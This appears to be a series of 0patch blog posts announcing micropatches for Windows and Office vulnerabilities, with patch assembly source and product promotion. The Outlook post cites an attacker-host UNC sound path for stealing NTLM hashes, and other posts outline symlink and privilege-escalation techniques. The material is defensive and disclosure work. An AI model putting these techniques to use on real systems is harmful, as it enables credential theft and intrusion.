            call PIT_UuidCreate       ;Call UuidCreate
            cmp eax, 0                ;Check if call succeeded
            jne ERROR                 ;Jump to error block if result != 0
           
            lea rdx, [rsp+0x20]       ;Move var2 to rdx to receive pointer to UUID_STRING
            lea rcx, [rsp+0x28]       ;Move var1 with UUID to rdx
            call PIT_UuidToStringW    ;Call UuidToStringW to convert UUID on var1 to UUID_STRING and move it to var2
            cmp eax, 0                ;Check if the call succeeded
            jne ERROR                 ;Jump to error block if result != 0
           
            mov rcx, [rsp+0x48]       ;Restore rcx
            mov rdx, [rsp+0x40]       ;Restore rdx
            mov r9, [rsp+0x38]        ;Restore r9
            mov r8, [rsp+0x20]        ;Replace r8 with UUID_STRING from var2
            call PIT_0x180a0          ;Call ConstructString that output a full path pointer to rax
            mov qword[rsp+0x38], rax  ;save rax for later
           
            lea rcx, [rsp+0x20]       ;Get the pointer to UUID_STRING from var2 and move it to rcx
            call PIT_RpcStringFreeW   ;Free the UUID_STRING buffer
           
            mov rax, [rsp+0x38]       ;Restore rax we saved earlier
           
            jmp END                   ;Continue normal execution
           
        ERROR:                        ;Error block
            add rsp, 0x50             ;Restore the stack pointer
            jmp PIT_0x186ad           ;Jump to the error block
           
        END:                          ;Normal execution
            add rsp, 0x50             ;Restore stack pointer
           
        code_end
        
    patchlet_end

     

    Micropatch Availability

    Micropatches were written for the following security-adopted versions of Windows with all available Windows Updates installed:

    1. Windows 10 v21H1 
    2. Windows 10 v20H2
    3. Windows 10 v2004
    4. Windows 10 v1909
    5. Windows 10 v1809
    6. Windows 10 v1803
    7. Windows 7 (without ESU, with ESU year 1, 2 and 3)
    8. Windows Server 2008 R2 (without ESU, with ESU year 1, 2 and 3)
     
    Micropatches have already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    We would like to thank Will Dormann for his extensive analysis of exploit samples, related publications, and Microsoft's patch, which made it possible for us to create a micropatch for this issue.

    To learn more about 0patch, please visit our Help Center.

     




    Three More Years of Critical Security Patches for Windows Server 2012 and Windows Server 2012 R2

    8 August 2023 at 20:43

    Can't upgrade your Windows Server 2012 to a newer windows server? No problem.

     



    As an on-premises Windows Server 2012 user, you probably know that Microsoft plans to end its support this October. This means no more Windows updates, including security fixes, and the chilling prospect of your servers becoming progressively vulnerable as new security issues are inevitably going to be discovered.

    If you're lucky enough to be an "eligible customer with Software Assurance under an Enterprise Agreement", you will be able to purchase up to 3 years of Extended Security Updates (ESU) from Microsoft for an annual cost equal to "100% of full license price annually".

    Those of you who aren't eligible or have other reasons not to purchase ESU, but want to keep using your servers securely - we have good news for you!

    Remember Windows Server 2008 R2 going out of support more than three years ago? Well, we security-adopted it and have thousands of customers still running this server securely with our security patches today. Meanwhile, the three-year ESU period for Server 2008 has already ended for on-premises servers, and we committed to continuing our support for at least two more years.

    Now we'll do the same for Windows Server 2012 and Windows Server 2012 R2, starting with three years of critical security patches that will last until October 2026. In contrast to Windows Server 2008 where we only security-adopted the R2 version, we're seeing a sufficient interest in non-R2 version of Server 2012 to add it to the list of our security-adopted products.

    If you're new to 0patch and our security patches, we have a lot of information in our Help Center but here's a quick overview:

    • 0patch provides critical security patches for vulnerabilities that are likely to be exploited.
    • Our tiny patches (usually just a few CPU instructions) get applied in memory of running processes; we don't change original executable files.
    • Patches get applied and un-applied instantly, without restarting the computer.
    • Apart from critical security patches for vulnerabilities Microsoft will patch on still-supported Windows versions, you will also get our "0day" patches for vulnerabilities that don't yet have official security patches.
    • 0patch Central allows for central management of all 0patch Agents.
    • 0patch costs a fraction of the cost of Extended Security Updates. (Consider Pro plan for a single server, and Enterprise plan for multiple servers with central management.)

     

    To use 0patch on Windows Server 2012 after October 2023, you will need to:

    1. Create a 0patch account if you don't have one yet.
    2. Install 0patch Agent on the server and register it to your 0patch account. (See 0patch Agent user manual for instructions on silent deployment and auto-registration in selected group.)
    3. Install October 2023 cumulative Windows Update for Windows Server 2012 as soon as possible. (Our patches will be targeting these exact versions of Windows executables. 0patch Agent will work without this update but our patches for EXEs and DLLs modified by October 2023 Windows Update will only work on these latest versions.)
    4. Make sure to have a suitable number of licenses in your 0patch account: each computer with a registered 0patch Agent needs one license.

     

    October is getting close - start testing 0patch in your environment now to iron out the wrinkles without too much rush. To start a free trial, create a free account in 0patch Central, then let us know at [email protected] which email you used for that so we can issue a couple of trial licenses to your account.

     

    Frequently Asked Questions


    Q: How long do you plan to provide critical security patches for Windows Server 2012 after October 2023?

    A: For at least three more years - until October 2026. Depending on the demand, we'll consider an extension.

    Q: How many vulnerabilities have you patched for Windows Server 2008 R2 and Windows 7 since January 2020?

    A: Since January 2020 when we "security-adopted" Windows 7 and Windows Server 2008 R2, we have issued patches for 67 critical security issues on these systems that were at high risk of being exploited. Many of them were later actually confirmed to be exploited in the wild and even more of them became part of various exploit kits that even a low-budget attacker could easily use against unpatched systems.

    Q: Are your micropatches actual code patches or "virtual patches"?

    A: Our patches are actual code patches; we add a couple of CPU instructions to the original (vulnerable) executable code to remove the vulnerability. Such patches cannot be bypassed, which literally any other exploit protection mechanisms - including virtual patches - can be.

    Q: Will we be able to continue using Microsoft Edge securely on Windows Server 2012 after October 2023?

    A: We have also security-adopted Microsoft Edge in January 2023, so you'll be able to keep using Edge securely even though it won't get updated by Microsoft anymore. We're also still providing security patches for Internet Explorer, which is still effectively part of the operating system.

    Q: We'd like to see a demo.

    A: Send an email to [email protected] and provide your company name and time zone so we can suggest a couple of dates for the demo. 

    Q: We'd like to set up a trial.

    A: Create a free account in 0patch Central, then let us know at [email protected] which email you used for that so we can issue a couple of trial licenses to your account.

    Q: We have more questions about 0patch.

    A: Our Help Center has a lot of answers but if you can't find yours there, feel free to contact us at [email protected].

    Micropatches Released For Denial of Service in Microsoft Message Queuing (CVE-2023-28302, CVE-2023-21769)

    14 July 2023 at 14:28

     


     


    April 2023 Windows Updates brought fixes for a number of vulnerabilities in Microsoft Message Queuing Service. We first issued patches for the "Queuejumper" remote code execution vulnerability (CVE-2023-21554) as its POC became available. Subsequently, we got access to POCs for two additional issues in Microsoft Message Queuing Service: CVE-2023-21769 and CVE-2023-28302, both being remote denial-of-service issues.

    While still-supported Windows systems have already received the official vendor fix for these vulnerabilities, there are Windows systems out there that aren't receiving security fixes from Microsoft anymore. In order to protect these systems, we have created our own micropatches for these vulnerabilities, which are available through the 0patch service.

    Our patches for these issues are similar to Microsoft's. Because the new patch for CVE-2023-28302 is in the same place as our previous patch for CVE-2023-21554, we had to revoke the latter and issue a combined patch for CVE-2023-21554 and CVE-2023-28302. (Which, of course, doesn't require our users to do anything as it all happens automatically.)


    Micropatch Availability

    These micropatches were written for the following security-adopted versions of Windows with all available Windows Updates installed:

    1. Windows 10 v21H1
    2. Windows 10 v2004
    3. Windows 10 v1909
    4. Windows 10 v1809
    5. Windows 10 v1803
    6. Windows 7 (without ESU, with ESU year 1, and with ESU year 2)
    7. Windows Server 2008 R2 (without ESU, with ESU year 1, and with ESU year 2)
     
    Micropatches have already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    To learn more about 0patch, please visit our Help Center.

     



    Micropatches Released For DHCP Server Service Remote Code Execution (CVE-2023-28231)

    30 June 2023 at 15:17

     


    April 2023 Windows Updates brought a fix for CVE-2023-28231, a remote code execution vulnerability in DHCP Server service. The vulnerability was reported to Microsoft by security researcher YanZiShuang.

    Subsequently, Numen Cyber published a POC and DarkRelay Security Labs published their analysis, both of which allowed us to reproduce the issue and create a micropatch for Windows computers that haven't received an official fix from Microsoft.

    The vulnerability only affects Windows servers with DHCP Server installed, and resides in the way DHCP Server processes relay-forwarded messages, whereby a message claiming to have been forwarded by more than 32 intermediate DHCP servers breaks the code's assumptions and causes memory corruption.

    While still-supported Windows servers have already received an official vendor fix for this vulnerability, Windows Server 2008 R2 isn't receiving security fixes from Microsoft anymore. In order to protect these systems, we have created our own micropatch for this vulnerability, which is available through the 0patch service.

    Our patch is logically identical to Microsoft's.


    Micropatch Availability

    The micropatch was written for the following security-adopted versions of Windows with all available Windows Updates installed:

    1. Windows Server 2008 R2

     

    This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    To learn more about 0patch, please visit our Help Center

    We'd like to thank Numen Cyber for sharing their POC, and DarkRelay Security Labs for sharing their analysis, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.

     




    Micropatches Released For Windows Task Scheduler Elevation of Privilege (CVE-2023-21541)

    30 June 2023 at 12:17

     


    January 2023 Windows Updates brought a fix for CVE-2023-21541, a local privilege elevation in Task Scheduler. The vulnerability was reported to Microsoft by Ben Lincoln of Bishop Fox.

    In April, Ben published a detailed analysis of this issue, which allowed us to reproduce the issue and create a micropatch for Windows computers that haven't received an official fix from Microsoft.

    The vulnerability is easy to understand: if a scheduled task contains an environment variable in its executable path, expansion of this variable may result in double quotes around the path being lost, which could then lead to the "unquoted path" vulnerability.

    On the other hand, the issue is not so easy to exploit, assuming that the local attacker does not have administrative privileges (why would they need a local privilege elevation vulnerability if they did?). The first condition is that a scheduled task must already exist on the system whose path to the executable contains an environment variable, and the second condition is that the attacker is able to create a malicious executable called program.exe in the root of C: drive. The latter is, by default, only allowed for administrators and system, so the computer would have to be in some custom configuration.

    Nevertheless, we decided to patch this, since at least a couple of our users may have both these conditions fulfilled. While still-supported Windows systems have already received the official vendor fix for this vulnerability, there are Windows systems out there that aren't receiving security fixes from Microsoft anymore. In order to protect these systems, we have created our own micropatches for this vulnerability, which are available through the 0patch service.

    Our patch is functionally similar to Microsoft's, but in our case applying the patch doesn't require a restart of the Task Scheduler service (while Microsoft's does).


    Micropatch Availability

    The micropatch was written for the following security-adopted versions of Windows with all available Windows Updates installed:

    1. Windows 10 v2004
    2. Windows 10 v1909
    3. Windows 10 v1809
    4. Windows 10 v1803
    Windows 7 and Server 2008 R2 are not affected by this issue.

    This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    To learn more about 0patch, please visit our Help Center

    We'd like to thank Ben Lincoln of Bishop Fox for sharing their analysis, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.

     



    New 0patch Central, New Security Features

    21 June 2023 at 13:56

     


     

    Dear 0patch friends,

    We're happy to share with you that four new highly asked-for features have been added to 0patch Central:


    Multi-factor Authentication

    You can now protect your 0patch account with multi-factor authentication (MFA). Use any authenticator app to configure MFA in your user profile and store recovery codes in a safe place in case you lose access to the app. This feature is available in Free, Pro, and Enterprise accounts.

    Authentication Options

    Select which authentication methods can be used for logging in to 0patch Central; choose between "Email and Password" and "Single sign-on", and specify whether multi-factor authentication ("MFA") is required for all users in the account. Find this feature under Account -> Security in Enterprise accounts.

    Password Policy

    Set the password policy for users in your account; users will be forced to change their password upon next login if needed. Find this feature under Account -> Security in Enterprise accounts..

    IP Address Restrictions

    Specify a set of IP addresses or subnets from which your 0patch Central account can be accessed. This setting does not affect 0patch Agents - they can always sync from anywhere. Find this feature under Account -> Security in Enterprise accounts..



    Upcoming Security-Adoption of Windows Server 2012 

    In the spirit of supporting legacy Windows versions and Microsoft products, we're happy to announce an upcoming adoption of Windows Server 2012, which goes out of official support in October 2023. If you're using Windows Server 2012 and would like to keep doing so securely, contact us at [email protected].
     

    Are your friends or peers operating Windows systems? Do them a favor and tell them about 0patch.


    Thank you!

    Your 0patch Team


    0patch Security-Adopts Windows 10 v20H2 to Keep it Running Securely

    13 June 2023 at 21:36

     

     

     

    Last month brought the last security updates for Windows 10 version 20H2. What if your organization is still using it and doesn't want to - or can't - upgrade it yet?

    Don't worry, we have previously security-adopted Windows 10 v1803 and v1809, Windows 10 v2004 and v1909, and Windows 10 v21H1.

    Now we're security-adopting version 20H2.

    If you're running Windows 10 v20H2 in your organization, all you need to do is install 0patch Agent on these computers and register it to an account with PRO or Enterprise subscription, and you'll start receiving critical security patches as soon as we issue them.

    These micropatches will be included in 0patch PRO and Enterprise licenses along with all other micropatches we're issuing - which means that users protecting their Windows 10 v20H2 with 0patch will also receive our micropatches for "0day" vulnerabilities in various products.

    In order to have our micropatches applied, Windows 10 v20H2 will have to have May 2023 Windows Updates (the last official updates for this version) installed.

    We welcome all interested organizations to contact [email protected] for information about pricing, deployment, or setting up a trial.

    P.S.: We're getting close to Windows Server 2012 end of official support by Microsoft in October 2023. You guessed it, we're going to security-adopt this server as well, in case you're already getting nervous about that. This is a good time for you to start a free 0patch trial, so send an email to [email protected].

    To learn more about 0patch, please visit our Help Center.

    Micropatches Released For Remote Code Execution in Windows OLE (CVE-2023-29325)

    5 June 2023 at 12:43

     

     

    May 2023 Windows Updates brought a fix for CVE-2023-29325, a remote code execution vulnerability in Microsoft OLE (Object Linking and Embedding). The vulnerability was reported to Microsoft by Will Dormann with Vul Labs.

    Will found that two of the many COM objects installed on every Windows system by default merely have to be referenced by their respective CLSIDs in a rich text email for Outlook to experience an access violation exception.

    There is almost no public information on what these two COM objects were intended to do on a Windows system, but since Microsoft's fix was to block them, they probably aren't essential to any important operation. While Microsoft appears to have blocked these offensive/vulnerable COM objects via COM activation filter, they provided no remedy for unsupported Windows versions such as Windows 7 or older Windows 10. Furthermore, still-supported Office versions were also patched to prevent usage of these two COM objects, but older versions like 2010 or 2013 weren't.

    For our users of older Office versions on older Windows systems we therefore had to create a patch of our own.

    Our patch does effectively the same as Microsoft's does on still-supported Office versions: if a COM object is referenced with one of the "offending" CLSIDs, object activation is prevented and instead of instantiating such object, Office just writes out the CLSID and the associated DLL name.

    Let's see our micropatch in action. With 0patch disabled, opening a POC email immediately crashes Outlook. With 0patch enabled, Outlook displays an email with CLSID printed out in the body, but doesn't crash.




    Micropatch Availability

    Our micropatch was written for the following security-adopted versions of Office with all available updates installed:

    1. Office 2010
    2. Office 2013 
    This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). No restart was needed, and Office got patched without relaunching even if it was running at the time.

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    To learn more about 0patch, please visit our Help Center

    We'd like to thank Will Dormann for sharing vulnerability details, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.

     



    Micropatches Released For "QueueJumper" Remote Code Execution in Microsoft Message Queuing (CVE-2023-21554)

    30 May 2023 at 14:03

     


    April 2023 Windows Updates brought a fix for CVE-2023-21554, a remote code execution vulnerability in Microsoft Message Queuing Service. The vulnerability, nicknamed "QueueJumper" was reported to Microsoft by Wayne Low of Fortinet's FortiGuard Lab and Haifei Li with Check Point Research.

    The first proof-of-concept became available on April 30, when Omair from Krash Consulting published it on GitHub. Another proof-of-concept by zoemurmure became available on May 18. Both of these made it possible for us to create a micropatch for this issue.

    The vulnerability allows a remote unauthenticated attacker to cause memory corruption on a Windows computer running Microsoft Message Queuing Service, which can often be extended to executing arbitrary code on the computer. A detailed technical analysis (in Chinese) was provided by zoemurmure,

    While still-supported Windows systems have already received the official vendor fix for this vulnerability, there are Windows systems out there that aren't receiving security fixes from Microsoft anymore. In order to protect these systems, we have created our own micropatches for this vulnerability, which are available through the 0patch service.

    Our patch prevents memory corruption in a similar way as Microsoft's. In this rare case, the vulnerable service must be restarted on Windows 10 in order for our patch to get applied because it employs the "arbitrary code execution" exploit mitigation that interferes with our operations. Mind you, Microsoft's patch requires a computer restart, but 0patch micropatches typically get applied without even relaunching vulnerable processes. This is not the case here, so make sure to restart the MSMQ service.

    Let's see our micropatch in action. With 0patch disabled, the POC immediately crashes the Microsoft Message Queuing Service. With 0patch enabled, the attack doesn't work anymore because the invalid packet is detected and blocked by our patch.




    Micropatch Availability

    The micropatch was written for the following security-adopted versions of Windows with all available Windows Updates installed:

    1. Windows 10 v21H1
    2. Windows 10 v2004
    3. Windows 10 v1909
    4. Windows 10 v1809
    5. Windows 7 (without ESU, with ESU year 1, and with ESU year 2)
    6. Windows Server 2008 R2 (without ESU, with ESU year 1, and with ESU year 2)
     
    This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    To learn more about 0patch, please visit our Help Center

    We'd like to thank Omair from Krash Consulting and zoemurmure for sharing their POCs, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.

     


    Micropatches for Local Privilege Escalation in Microsoft Installer (CVE-2023-21800)

    19 April 2023 at 16:36


    February 2023 Windows Updates brought a fix for CVE-2023-21800, a vulnerability in Windows Installer that allows a local low-privileged attacker to run their code as Local System. The vulnerability was reported to Microsoft  by Adrian Denkiewicz with Doyensec. Adrian subsequently wrote an article detailing the vulnerability, which allowed us to reproduce it and create a patch for our users.

    The vulnerability is in one sense a typical symbolic link issue, the types of which we've been seeing in abundance in the past years, but it is also interesting because it includes a privileged process (msiexec.exe running as Local System) inheriting environment variables from the attacker's parent process. This is something we haven't seen before and it could generally be exploited in different interesting ways.

    Adrian decided to exploit it by redefining the PROGRAMDATA environment variable and thereby "redirect the “All Users” profile to the arbitrary location which is writable by the [local attacker]." Installation of a product for all users usually includes creating files in All Users' Start Menu folder - which is normally write-protected against a local non-admin user, but by redirecting this folder to an attacker-controller location allows the attacker to create a symlink there and wait for the installer process to use this symlink. If the symlink points to some system file, this effectively means the installer process (running as Local System) will delete such system file.

    Arbitrary file deletion can be turned into arbitrary code execution as Local System, as was first shown by Jonas Lykkegård in 2020 using Windows Error Reporting Service, and subsequently also by Abdelhamid Naceri using Windows Installer.

    While still-supported Windows systems have already received an official vendor fix for this vulnerability, there are Windows systems out there that aren't receiving security fixes from Microsoft anymore. In order to protect these systems, we have created our own micropatches for this vulnerability, which are available through the 0patch service.

    Our patches add a check to the affected code to see if the path used for deleting a file contains a symlink. If it does, the operation is blocked (the file is not deleted).


    Micropatch Availability

    The micropatch was written for the following security-adopted versions of Windows with all available Windows Updates installed:

    1. Windows 10 v2004
    2. Windows 10 v1909
    3. Windows 10 v1809
    4. Windows 10 v1803
    5. Windows 7 (without ESU, with ESU year 1, and with ESU year 2)
    6. Windows Server 2008 R2 (without ESU, with ESU year 1, and with ESU year 2)

    This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    To learn more about 0patch, please visit our Help Center

    We'd like to thank Adrian Denkiewicz with Doyensec for sharing their POC, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.

    Micropatch for Microsoft Outlook Notification File NTLM Hash Theft (CVE-2023-23397, CVE-2023-29324, CVE-2023-35384, CVE-2024-20652)

    22 March 2023 at 16:14

     

    March 2023 Windows Updates fixed CVE-2023-23397, a vulnerability in Microsoft Outlook that was found to be exploited in the wild since at least January this year. Microsoft revealed very little information but security researcher Dominic Chell of MDSec was quick to figure out what it was about and had a working exploit within hours of Microsoft's update release. Dominic's analysis was released soon thereafter, and POCs started cropping up all over the place.

    The vulnerability allows an attacker to send the victim an email such that even without the victim reading this email, Outlook will try to play a notification sound from a file specified in attacker's email (weird, huh?). While the more playful among us would immediately think of  rickrolling our friends, serious attackers could use this "feature" to extract victim's NTLM hash from their computer. Specifying a sound file on a network location such as \\attacker.com\hash_collector.mp3 would make user's Outlook send a network request to attacker's server, which would then request authentication, and user's computer would respond with user's NTLM hash. For some reason, this also works with hosts on the Internet, where NTLM hashes are usually not being sent.

    The official patch from Microsoft surprisingly didn't just axe this weird feature, but rather limited the location of the notification sound that your email sender wants you to hear to Local Intranet and Trusted Zones - if the supplied path is elsewhere, no sound will be played. This means that an attacker can still make your Outlook send your NTLM hash to any computer in the local network without you being able to prevent that - which is great news for attackers sitting in your network trying to elevate their privileges and become you.

    As a workaround in lieu of patching, Microsoft suggested users to "block TCP 445/SMB outbound from your network by using a perimeter firewall, a local firewall, and via your VPN settings. This will prevent the sending of NTLM authentication messages to remote file shares." This mitigation was later found to be incomplete, as Windows automatically try to use WebDAV for accessing remote shares when an SMB connection attempt fails.

    While still-supported Microsoft Office versions have already received an official vendor fix for this vulnerability, Office 2010 - which we have security-adopted - is also vulnerable. In order to protect our Office 2010 users, we have created our own micropatch for this vulnerability.

    Our patch is different to Microsoft's, as we believe theirs unnecessary leaves an important part of attack surface open. We therefore decided to simply enforce the default notification sound and completely ignore what your sender wanted you to hear. Granted, if your eager admin has set up some custom sound file for Outlook notifications, our patch will play the default notification sound instead of that as well.

    Update 5/10/2023: Our worries about Microsoft's patch turned out to be justified as Akamai researcher Ben Barnea found a simple way to bypass it. Adding a single back slash to the attacker-supplied path did the trick. Our patch blocks this bypass (assigned CVE-2023-29324) by design, so neither we nor our users have to do anything to remain protected against both the old and the new issue. We remain puzzled at Microsoft's insistence to keep this weird and attacker-friendly feature alive.

    Update 12/20/2023: Unsurprisingly, a new bypass (assigned CVE-2023-35384) was discovered for the fix of the first bypass for the original fix. Again, it was found by Ben Barnea. Our original patch blocks both the first bypass and this one, because it completely disables sender-chosen notification sounds. We did issue a patch for Outlook 2013 now as we have security-adopted this Office version after it went out of support.

    Update 2/20/2024: This is getting old. Ben Barnea found another bypass (assigned CVE-2024-20652) for the fix of the fix of the original fix. Our original patch still blocks all this nonsense.

    This is the source code of our patch. It merely overrides the provided sound file path with "reminder.wav", which is the default value for Outlook reminders.



    MODULE_PATH "..\Affected_Modules\outlook.exe_14.0.7268.5000_Office-2010_64bit\outlook.exe"
    PATCH_ID 1322
    PATCH_FORMAT_VER 2
    VULN_ID 7684
    PLATFORM win64

    patchlet_start
        PATCHLET_ID 1
        PATCHLET_TYPE 2
        PATCHLET_OFFSET 0x51d260
        N_ORIGINALBYTES 5
        JUMPOVERBYTES 0

        code_start
           
            call VAR
            dw __utf16__('reminder.wav'), 0 ; The default notification for Outlook 2010
        VAR:
        
            pop rsi
           
        code_end
    patchlet_end


     

    Micropatch Availability

    The micropatch was written for the following security-adopted versions of Office with all available updates installed:

    1. Microsoft Office 2010

    This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevented that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them. If you're using Office 2010, or soon-to-be-expired Office 2013 that goes out of support in April this year, 0patch will make sure such vulnerabilities won't be exploited on your computers - and you won't even have to know or care about updating.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    To learn more about 0patch, please visit our Help Center

    We'd like to thank Dominic Chell for sharing their analysis, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.

    Update 5/10/2023: We'd also like to thank Ben Barnea for sharing the analysis of their patch bypass.

     

    Micropatches for Microsoft Word Remote Code Execution (CVE-2023-21716)

    9 March 2023 at 14:10

     


     

    February 2023 Windows Updates brought a fix for  CVE-2023-21716, a remote code execution vulnerability in Microsoft Word. The vulnerability was discovered and reported by security researcher Joshua J. Drake (Twitter, Mastodon), and subsequently published with a simple proof-of-concept.

    The flaw is in Word's processing of an RTF file with an excessive number of font records, whereby a numeric operation with sign extension results in the code writing to an address outside the intended memory block. With sufficient heap grooming, arbitrary code execution could be possible upon user merely opening a malicious Word document, previewing it in Explorer's Preview Pane, or viewing a malicious email in Outlook. This vulnerability apparently goes back to Office 97.

    Microsoft's patch for this issue is not subtle at all: when a sufficiently large number of font records (specifically, more than 32760) is detected in an RTF document, Word just terminates itself. This approach is not new and has reportedly been used before, but may have negative side effects such as lost data (Word crashing while editing an unsaved document) or being unable to use Outlook because it displays the malicious email every time you open it - and crashes.

    While still-supported Microsoft Office versions have already received an official vendor fix for this vulnerability, Office 2010 - which we have security-adopted - is also vulnerable. In order to protect our Office 2010 users, we have created our own micropatches for this vulnerability. They are already available through the 0patch service.

     

    Our patches are logically equivalent to Microsoft's patches for this issue.



    MODULE_PATH "..\Affected_Modules\wwlib.dll_14.0.7268.5000_Office-2010_64bit\wwlib.dll"
    PATCH_ID 1315
    PATCH_FORMAT_VER 2
    VULN_ID 7683
    PLATFORM win64

    patchlet_start
        PATCHLET_ID 1
        PATCHLET_TYPE 2
        PATCHLET_OFFSET 0x2f3cd6
        N_ORIGINALBYTES 5
        JUMPOVERBYTES 0
        PIT kernel32.dll!TerminateProcess,kernel32.dll!GetCurrentProcess
        
        code_start
               
            lea r9, [rsi+0Ah]          ; add 0Ah to the current font table index
            lea eax, [r9+8000h]        ; add 8000h
            cmp eax, 0FFFFh            ; check if sign extension would happen
            jbe CONTINUE               ; if not, continue normal execution
           
            call PIT_GetCurrentProcess ; retrieve a pseudo handle for the current process,
                                       ; currently -1, For compatibility with future operating
                                       ; systems, it is best to call GetCurrentProcess
                                       ;
    instead of hard-coding this constant value
            call PIT_ExploitBlocked    ; Exploit Blocked popup
            mov rcx, rax               ; handle (-1)
            mov rdx, 0xbadbaffa        ; exit code
            call PIT_TerminateProcess  ; terminates the specified process and all of its threads
           
        CONTINUE:
        
        code_end
    patchlet_end

     

    Micropatch Availability

    The micropatch was written for the following security-adopted versions of Office with all available updates installed:

    1. Microsoft Office 2010

    This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevented that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them. If you're using Office 2010, or soon-to-be-expired Office 2013 that goes out of support in April this year, 0patch will make sure such vulnerabilities won't be exploited on your computers - and you won't even have to know or care about updating.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    To learn more about 0patch, please visit our Help Center

    We'd like to thank Joshua J. Drake (Twitter, Mastodon) for sharing their POC, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.

     

    Goodbye, Pesky Edge Notification, You're Not Needed Anymore!

    8 March 2023 at 13:34

     

    We security-adopted Microsoft Edge version 109 in January to allow 0patch users staying on Windows 7 or Windows Server 2008 R2 to browse the web securely. These Windows versions stopped getting security fixes for Edge, and Edge won't update beyond version 109 on them. Any PRO or Enterprise 0patch subscription now delivers critical security patches both for the operating system and the Edge browser, which makes for a lot of happy 0patch users.

    There's one thing, though, that kept disturbing the peace: the pesky notification Edge was showing, reminding users that they should upgrade to Windows 10 or later, which they had clearly decided not to do. It makes sense for this warning to be displayed on a computer without 0patch, but with 0patch - nah, we needed to get it removed.

     

    The persistent Edge notification, consuming screen real estate and narrowing user's world view

    Users asked, and we delivered. Our hot-patching technology allows us not only to fix security flaws but also to change functional behavior of Windows applications. Now that Edge has stabilized on version 109.0.1518.78, we created two patches that address said notification. Let's look at their effect.

     

    FREE patch, delivered to all 0patch users regardless of their license or lack thereof

    If you're using 0patch FREE, you're getting our 0day patches (as long as the vulnerability remains a 0day) but not all security patches. Users sometimes misunderstand what they're getting with 0patch FREE, and sometimes subscriptions expire without users noticing it, so we decided to use the Edge notification to warn them about it. With 0patch FREE, Edge will now show this message:

     

    0patch FREE alerts you that you're not getting all security patches

     

    PRO patch, delivered to all 0patch users with PRO or Enterprise license

    PRO and Enterprise 0patch users are getting all our security patches, so there's no need to take away their screen real estate or attention; Edge thus shows no notification on their computers:


    No notification for PRO and Enterprise 0patch users

     

    In addition, Edge's About page shows that Edge is secured by 0patch:


    It would take more code to remove the duplicate message and we prefer less code.
